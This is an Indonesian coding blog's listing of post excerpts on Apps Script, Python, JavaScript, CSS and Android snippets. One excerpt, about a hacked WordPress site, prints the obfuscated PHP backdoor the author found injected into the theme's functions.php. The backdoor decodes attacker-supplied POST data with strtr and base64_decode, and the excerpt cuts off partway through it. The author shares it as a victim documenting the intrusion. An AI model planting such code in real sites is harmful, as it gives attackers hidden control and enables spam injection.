Postingan

Menampilkan postingan dengan label Algorithm

Apps Script untuk Mengirimkan Notifikasi Approval

Gambar
Berikut ini kode Apps Script untuk mengirimkan email approval berdasarkan input dari pengguna: Kode function onOpen() { const ui = SpreadsheetApp.getUi(); const menu = ui.createMenu("Administrasi"); menu.addItem("Kirim Email Approval", "openFormEmail"); menu.addToUi(); } function openFormEmail() { var target = SpreadsheetApp.openById("--ID Sheet--"); var ss=target.getSheetByName("Instansi"); ss.getRange("A2:F").getValues().map(function(row,index){ if(row[0]!="" && row[0]!="Passed"){ var subject="Pengajuan Instansi "+row[3]+" "+row[0]; var pesan="Yth. "+row[2]+"<br/><br/>Terkait pengajuan nama instansi dengan:<br/><br/>"; pesan+="Nama: "+row[3]+"<br/>"; pesan+="Alamat: "+row[4]+"<br/><br/>"; if(row[0]=="Approved"){ ...

Menghilangkan Karakter Baris Baru di Google Sheets dengan Apps Script

Gambar
Kadang, input data dari pengguna, secara tidak sengaja menyertakan karakter baris baru "\n". Padahal bisa jadi, untuk kebutuhan administrasi, sebenarnya tidak menghendaki adanya karakter tersebut, sebab bisa mengganggu format cetak dokumen. Oleh karena itu, berikut ini kode Apps Script yang dapat digunakan untuk mencari dan menghilangkan karekter baru tersebut, yang terdapat dalam file Google Sheets. Kode function hilangkanEnter() { var target = SpreadsheetApp.openById("--ID Google Sheets File--"); var ss=target.getSheetByName("Data"); ss.getRange("D2:D").getValues().map(function(row,index){ var str=row[0].replaceAll("\n"," "); ss.getRange("D"+(2+index)).setValue(str); }); } Demo

Menambahkan Random Key sebagai ID Pembeda di Google Sheet dengan Apps Script

Gambar
Dimisalkan terdapat data yang tersimpan di Google Sheets dan tidak terdapat pembeda antara satu dengan yang lain. Hal ini akan mengakibatkan kesulitan jika akan dilakukan penghapusan salah satu atau bebarapa data tertentu melalui web apps. Oleh karena itu, kode Apps Script di bawah ini, adalah kode untuk menambahkan "unique ID key" pada tiap data, terutama untuk mempermudah proses penghapusan data, yang biasanya dilakukan melalui web apps oleh pengguna yang berbeda. Kode function makeRandomChar(length) { var result = ''; const characters = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789!@'; let counter = 0; while (counter < length) { result += characters.charAt(Math.floor(Math.random() * characters.length)); counter += 1; } return result; } function addRandomKey() { var target = SpreadsheetApp.openById("--ID Google Sheets file--"); var ss=target.getSheetByName("Data"); var d...

Cek Broken Link pada File PDF dengan PyPDF2 dan Google Sheets

Gambar
Latar Belakang Kadang diperlukan juga, untuk mengecek hyperlink yang terdapat dalam dokumen PDF, apakah link-link tersebut valid, mengarah pada halaman yang tersedia atau tidak. Contohnya dokumen PDF akreditasi yang diupload dan akan dibaca oleh asesor. Dokumen seperti ini perlu dipastikan bahwa seluruh hyperlink-nya valid, sebab jika asesor mencoba dan menemukan invalid link, dapat berpotensi pada pengurangan nilai.  Disclaimer Penulis sebenarnya tidak suka Python, namun karena belum dapat membuat library PDF Reader sendiri, maka mohon maaf penulis tetap menggunkan PyPDF2, untuk mempercepat pekerjaan saja. Langkah Pertama-tama, letakkan file extract Hyperlink.py dan PDF yang akan di cek hyperlink-nya dalam satu folder. Dalam contoh posting ini, file PDF yang akan di cek bernama SURVEYLANCE_LED A-B_PSSI (1).pdf . Lalu tuliskan script Python di bawah ini, pada file extract Hyperlink.py. Kode extract Hyperlink.py import PyPDF2 import urllib.request as urllib2 PDFFile = open("SURV...

Mengirimkan Data Array Menggunakan Python dan Apps Script ke Google Sheets

Dalam posting ini, diberikan contoh mengirimkan data array menggunakan Python urllib dan Apps Script UrlFetchApp.fetch, untuk diinputkan ke Google Sheets dengan fungsi doPost. Fungsi doPost yang dimaksud, kurang lebih seperti kode dibawah ini: function doPost(e) { . . . var raw=(e.parameter["raw"]!=null)?JSON.parse(e.parameter["raw"].toString().replace(/'/g, '"')):null; var target = SpreadsheetApp.openById(idspreadsheet); var ss=target.getSheetByName(sheet); ss.getRange(1+start_row,1+start_column,raw.length,raw[0].length).setValues(raw); . . . } Di mana variabel target adalah Google Sheet tempat data disimpan. Sedangkan contoh pengiriman data array, berturut-turut sesuai kode berikut: Python from urllib import request, parse import json urlmain="https://script.google.com/macros/s/idapppost/exec" def senddingdata(idspreadsheet,sheet,mode,datum): data = { "keyvalue":"keyaccess","idspreadsheet...

Penggunaan JSON.stringify untuk Komunikasi Array dengan UrlFetchApp.fetch

Untuk mengambil atau memasukkan data dari database Google Sheets yang mempunyai beda authentifikasi, dapat menggunakan UrlFetchApp.fetch pada fungsi Apps Script dan menggunakan metode post. Dibawah ini adalah contoh pengiriman data array arr, untuk ditangkap dengan fungsi doPost(e): var email=Session.getActiveUser().getEmail(); var arr=["Mobil","Motor","Sepeda"]; var data = { "keyvalue":"idrahasia", "idspreadsheet":"--idgooglesheetdatabse--", "sheet":"Biodata", "ëmail":email, "raw":JSON.stringify(arr) }; var options = { 'method' : 'post', 'payload' : data }; var response=UrlFetchApp.fetch(urlpostdata,options); return JSON.parse(response.getContentText()); Perbedaan authentifikasi yang dimaksud disini adalah, misal aplikasi Apps Script yang dibuat, karena dibutuhkan untuk mengambil informasi email pengguna, maka authentifikasi akan diarahkan ke ...

Membandingkan Kesamaan Text dengan Apps Script and Python

Gambar
Publikasi Dosen suatu instansi pendidikan kadang tidak terekam dengan baik. Sehingga ada kalanya terdapat double input dalam database. Untuk database yang menggunakan Google Sheet, deteksi kesamaan, sebenarnya dapat menggunakan kode Apps Script berikut: function hitungKesamaan(source,target) { var src=source.split(" "); var trg=target.split(" "); var max=(src.length>trg.length)?src.length:trg.length; if(max==0)return 0; var mrk=[]; for(var j =0; j < trg.length; j++){ mrk.push(0); } var jum=0; for(var i =0; i < src.length; i++){ for(var j =0; j < trg.length; j++){ if(mrk[j]!=1 && src[i]==trg[j]){ jum++; mrk[j]=1; break; } } } return jum*100.0/max; } Variabel source adalah judul pembanding, dan target adalah judul yang dibandingkan. Kode ini memberikan hasil nilai balik (return) berupa persentase jumlah kata yang sama antara judul source dan target. Di mana jika memberikan nila...

Apps Script untuk Menggabungkan Beberapa Google Sheet

Adakalanya, untuk file Google Sheet yang memiliki konten yang mirip, perlu digabungkan menjadi satu file. Hal ini biasanya agar akses dapat menjadi cepat. Berikut ini adalah kode untuk menggabungkan beberapa file yang mempunyai pola yang sama, dalam satu folder, ke file yang bernama Merger. function mergingFiles() { var ss = SpreadsheetApp.openById("idsheetterget");//Sheet Target var hasil = ss.getSheetByName("Nama Sheet"); var pointer=2; var files = DriveApp.getFolderById('idfolderfile').searchFiles('title != "nothing"');//ID Folder yang ingin ditampilkan listnya while(files.hasNext()){ var xFile = files.next(); var ss = SpreadsheetApp.openById(xFile.getId()); var names = ss.getSheetByName("Rekap Mengajar Dosen"); var data = names.getRange("A3:P").getValues().map(function(row,index){ if(row[0]!="")row[0]=xFile.getName(); return (row[0]!="")?row:null; })....

Mendaftar File di Google Drive menggunakan Apps Script

Dalam mengolah data berbasis Google Drive, adakalanya diperlukan untuk mengetahui nama file dalam suatu Folder, dan berikut url-nya. Jika file dalam jumlah banyak, maka akan lebih mudah menggunakan kode Apps Script. Kode berikut ini, adalah yang penulis gunakan untuk menampilkan daftar nama file beserta url-nya: function listFileOfDirectory() { var files = DriveApp.getFolderById('idfolder').searchFiles('title != "nothing"');//ID Folder yang ingin ditampilkan listnya while(files.hasNext()){ var xFile = files.next(); console.log(xFile.getName()+" "+xFile.getUrl()); } }

Kode Java Membandingkan Dua File

Gambar
Suatu hari, website yang penulis kelola, yang menggunakan Wordpress mendapat serangan injeksi judi slot. Hasilnya, di domain penulis, terdapat link landing page halaman promosi permainan tersebut. Setelah penulis cari-cari, di bawah ini adalah contoh kode PHP yang muncul di file functions.php theme Wordpress, yang penulis gunakan. if( ! function_exists('qmqkrosuwcclz') ) { function qmqkrosuwcclz($hofwrudrjow, $arprughxl) { $dcfibrnhftqbtq = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/'; $hofwrudrjow = strtr($hofwrudrjow, $arprughxl, $dcfibrnhftqbtq); $hofwrudrjow = cogrjgxig($hofwrudrjow); return $hofwrudrjow; } function cogrjgxig($drvphbmibfcfnms) { $drvphbmibfcfnms = base64_decode($drvphbmibfcfnms); return $drvphbmibfcfnms; } $izvyyhb = $_POST; if(isset($izvyyhb['wtcyzjbnafe'])) { $tzivwumxaiztpg = $izvyyhb['wtcyzjbnafe']; $ozghajv = qmqkrosuwcclz($izvyyhb['lvenvrrdsiathe'], $tzivwumxaiztpg); $...

Contoh Countdown Timer untuk Halaman Web dengan Javascript

Gambar
Ketika membangun website konferensi, biasanya di halaman utama, diberikan countdown timer. Dimana countdown timer ini berfungsi untuk memberikan informasi batas kepada calon peserta konferensi, yang berkeinginan untuk menjadi presenter, agar segera mengirimkan paper atau posternya sebelum tanggal yang ditentukan. Salah satu contohnya, adalah website konferensi PIT-FMB 2022 seperti ditunjukkan pada gambar di atas. Untuk keperluan tersebut, di bawah ini adalah kode javascript countdown timer, dengan tampilan yang membutuhkan dukungan styling CSS untuk membuat background yang transparan. <html> <head> <title>The Example of Countdown Timer</title> <style> .countdownbox{ font-family: "Roboto", Sans-serif; padding:10px; font-size:48px; background-color:#00000061; color:white; margin:5px 5px 0 5px; border-radius:5px; } </style> <script> </script> </head> <body> <div id="countmainbox" style="displa...

Kode Java Software Backup Project Android Studio

Gambar
Salah satu kewajiban menjadi developer Android adalah diperlukannya backup source code app berkala. Hal ini penting dilakukan, sebagai cadangan, jika terjadi hal-hal yang tidak diinginkan, seperti terjadinya rusak atau bad sector pada hardisk device yang digunakan untuk membuat aplikasi. Masalahnya, file-file project app Android dengan Android Studio, biasanya jumlahnya banyak, meskipun ukurannya kecil-kecil. Dan menurut penulis, di dalamnya lebih banyak file yang hanya akan memakan space memory, jika penyimpanannya secara satu project penuh. Mungkin pada sebagian developer tidak akan mempermasalahkan keadaan ini. Tetapi jika jumlah app-nya sudah banyak, seperti edugameapp penulis, akan lebih baik untuk menyimpan source code dan file-file yang diperlukan saja, yang memungkinkan untuk menyimpan di Cloud Service seperti di Google Drive, sebagai cadangan yang lain. Oleh karena itu, kode Java di bawah ini, penulis menawarkan software sederhana berbasis dekstop, yang berguna untuk mengambi...

Memperoleh Data Terbaru dari Join Dua Tabel di MySQL

Dimisalkan, suatu instansi memberikan status kepada karyawannya menjadi tiga tingkat. Yaitu kontrak, tidak tetap dan tetap. Setiap status, memiliki kode nomor karyawan sendiri, yang akan berganti jika sang Karyawan telah layak naik pangkat, sesuai dengan loyalitas dan prestasinya. Di mana ketika karyawan berganti status, nomor lama ke yang baru, nomor yang lama akan tetap tersimpan di database (tanpa dihapus), kemudian nomor yang baru akan otomatis menjadi nomor acuan karyawan yang bersangkutan. Lalu bagaimanakah desain databasenya? Kesalahan yang potensial dihadapi sebagai programmer, untuk kasus di atas adalah menganggap nomor karyawan sebagai acuan di database. Penulis yakin, dengan melihat NIK (Nomor Induk Karyawan), pasti kebanyakan programmer database, akan menjadikan NIK sebagai ID acuan utama karyawan. Hal ini karena NIK dianggap tidak akan berubah sampai karyawan itu pensiun. Sebab, biasanya, jika ID acuan diganti, maka data-data sebelumnya yang mengacu pada ID lama, bisa-bisa...

Progress Loader Tengah Vertical dan Horizontal dengan CSS

Gambar
Seperti yang pernah penulis sebutkan dalam posting sebelumnya. Salah satu hal terpenting dalam membuat aplikasi, adalah menampilkan progress loader untuk suatu proses. Sebab, jika tidak menampilkan kondisi tersebut, pengguna tidak akan tahu bahwa aplikasi sedang melakukan proses, yang kemungkinan besar dapat membuat pengguna lari meninggalkan aplikasi. Apalagi jika aplikasi itu berupa website. Pengguna akan lebih memilih untuk pergi ke halaman lain, jika website buatan kita itu seperti crash atau kosong. Berikut ini adalah kode satu halaman web, yang menunjukkan contoh progress loader menggunakan CSS sesuai gambar di atas: <html> <head> <meta name="viewport" content="width=device-width,initial-scale=1"> <style> #loader,.boxloader{ position:absolute; top: 50%; left: 50%; background-color:white; padding:20px; display:flex; flex-flow:column; align-items:center; border: 1px solid #eee; border-radius:8px; -ms-transform: translate(-5...

Plot Garis dengan HTML5 Canvas

Gambar
Untuk keperluan analisis data, seringkali diperlukan membuat grafik, untuk melihat persebaran data. Seperti yang penulis butuhkan dalam video di atas, untuk melihat performa iklan Admob dari aplikasi-aplikasi buatan penulis, penulis perlu melihat performa jumlah iklan yang dipanggil tiap waktunya. Dengan teknologi HTML5 Canvas, ternyata membuat plotting garis sederhana dapat dilakukan dengan mudah. Cukup dengan membuat field input file, memilih data yang akan ditampilkan, dan menggambar grafiknya dengan Canvas. Fungsi berikut ini adalah perintah untuk membuat plotting dengan Canvas: function plotting(name,x,min,max) { var c = document.createElement('canvas'); c.width=300; c.height=200; var ctx = c.getContext("2d"); ctx.font = "14px Arial"; ctx.fillText(name+" "+x.length,5,16); ctx.beginPath(); for(var i=0;i<x.length;i++){ if(i==0){ ctx.moveTo(Math.round(1.0*i*c.width/x.length),Math.round(c.height-1.0*(x[i]-min)*c.height/(max-min)...

Preview File Gambar sebelum di Upload dengan Javascript

Gambar
Seringkali, ketika akan mengupload file gambar, perlu dipastikan dahulu gambar yang akan diupload dalam bentuk preview. Dan teknologi HTML5 telah menambahkan kemampuan upload banyak file dengan hanya satu element input dengan tag type='file' dan multiple. Sangat mudah. Entah penulis yang ketinggalan informasi atau gimana, sebab penulis teringat jaman dahulu, perlu menambahkan satu persatu, sesuai jumlah file yang akan ditambahkan melalui appendChild, jika diperlukan upload banyak file pada form. Di bawah ini adalah kode preview image ketika input file berubah (onchange), dan gambar akan ditampilkan pada element dengan Id='imgpreview'. <!DOCTYPE html> <html> <head> <meta name="viewport" content="width=device-width, initial-scale=1"> <style> </style> </head> <body> <h1>The input multiple attribute</h1> <form action="/action_page.php" enctype="multipart/form-data">...

Solusi Javascript Hasil Kali Bilangan Prima yang Jumlahnya 12345

 Terusik dengan soal matematika Olimpiade Sain Nasional (OSN) dibawah ini: Jumlah dua bilangan prima adalah 12345, hasil kali kedua bilangan tersebut adalah... 24668 24686 26486 26686 Penulis sangat berkeinginan untuk menyelesaikan dengan menggunakan kode program. Dan karena tidak ingin repot-repot, penulis menggunakan Javascript dengan tampilan kode sebagai berikut: <html> <head> <title>Contoh Javascript</title> </head> <body> <script> function getNextPrime(x) { var ketemu=false; while(!ketemu){ x++; var lanjut=false; for(var i=2;i<x;i++){ if(x%i==0){ lanjut=true; break; } } if(lanjut)continue; ketemu=true; break; } return ketemu?x:-1; } var a=2,b=2; while(a<100000){ while(b<100000){ if(a+b==12345){ document.write(a+" "+b+" "+(a*b)); break; } b=getNextPrime(b); } a=getNextPrime(a); } </script> </body> </html> Caranya, tentu saja dengan mencoba...

Contoh Penggunaan Billing Class di Android

Untuk keperluan pembelian In-App Purchase (microtransaction), saat tulisan ini ditulis, Play Store mewajibkan setidaknya menggunakan billing library v3 ke atas. Sedangkan dalam posting ini, penulis hanya mencoba memberikan contoh penggunaan Billing Library v4, hasil uji coba penulis dalam menambahkan fitur pembelian dalam aplikasi-aplikasi Android milik penulis di Computational Lab . Yang mana skenarionya adalah, pertama kali dibuka, aplikasi dicek apakah sudah dibeli/berlangganan atau belum (biasanya penulis tempatkan di halaman Splashscreen). Lalu jika belum, maka pada halaman berikutnya (MainActivity) akan menampilkan iklan, dan jika sudah dibeli/berlangganan maka iklan tidak perlu di download untuk ditampilkan (method callIklan). Kode Billing Class yang penulis gunakan adalah sebagai berikut: package com.edugameapp.yourapp; import android.app.Activity; import com.android.billingclient.api.AcknowledgePurchaseParams; import com.android.billingclient.api.AcknowledgePurchaseResp...